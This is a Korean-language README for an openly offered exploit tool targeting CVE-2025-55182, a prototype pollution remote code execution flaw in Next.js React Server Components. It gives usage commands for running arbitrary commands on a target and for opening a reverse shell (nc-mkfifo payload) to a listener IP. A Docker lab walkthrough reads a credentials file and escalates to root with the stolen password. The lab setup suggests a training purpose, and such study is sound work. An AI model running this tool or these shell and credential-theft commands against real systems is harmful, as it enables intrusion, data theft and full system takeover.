
프로토타입 오염을 통한 원격 코드 실행을 위해 CVE-2025-55182를 악용합니다.
저자: Severian N.K.
이 도구는 React Server Components를 사용하는 Next.js 애플리케이션의 프로토타입 오염 취약점을 악용하여 원격 코드 실행(RCE)을 유발합니다. 직접 명령 실행과 리버스 셸을 모두 지원합니다.
이 프로젝트는 종속성을 관리하기 위해 Python 가상 환경을 사용합니다. 먼저 Python 3이 설치되어 있는지 확인하세요.
가상 환경 설정:
python3 -m venv venv
환경을 활성화하고 종속성을 설치합니다:
source venv/bin/activate
pip install -r requirements.txt
익스플로잇을 실행하기 전에 가상 환경이 활성화되어 있는지(source venv/bin/activate) 확인하세요.
대상에서 단일 명령을 실행하려면:
python3 exploit.py -u <TARGET_URL> -c "<COMMAND>"
예시:
python3 exploit.py -u http://example.com -c "id"
대상에서 리버스 셸을 얻으려면:
python3 exploit.py -u <TARGET_URL> -r -l <LISTENER_IP> -p <LISTENER_PORT>
예시:
python3 exploit.py -u http://example.com -r -l 10.10.10.2 -p 9001 -P nc-mkfifo
lab/ 디렉터리에는 두 개의 독립적인 Docker 환경이 포함되어 있습니다:
lab/vulnerable): 포트 3000에서 실행됩니다.lab/patched): 포트 3001에서 실행됩니다.cd lab/vulnerable
chmod +x build.sh run.sh
./build.sh
./run.sh
http://localhost:3000 에서 접근하세요.
cd lab/patched
chmod +x build.sh run.sh
./build.sh
./run.sh
http://localhost:3001 에서 접근하세요.
리스너 IP(--lhost)와 포트(--lport)를 반드시 지정해야 합니다. Docker 브리지 IP는 ip addr show docker0 명령으로 확인할 수 있습니다(보통 172.17.0.1).
python exploit.py -u http://localhost:3000 -r -l 172.17.0.1 -p 6000 -P nc-mkfifo
참고: 대상이 Alpine Linux에서 실행 중이며 특정 페이로드 유형이 필요하므로
-P nc-mkfifo를 사용합니다.
취약한 컨테이너는 비밀 파일을 노출합니다.
python3 exploit.py -u http://localhost:3000 -c "cat /secret/credentials.txt"
# Output: manager:SuperSecret2025!
탈취한 자격 증명을 사용하여 nextjs에서 root로 권한을 상승시킬 수 있습니다.
su - manager (비밀번호: SuperSecret2025!)sudo su (비밀번호: SuperSecret2025!)cat /root/flag.txt
# Output: Congratulations! You have gained full control over the system!
기여는 언제나 환영합니다! 버그를 발견하거나 개선 아이디어가 있다면 이슈를 열거나 풀 리퀘스트를 제출해 주세요.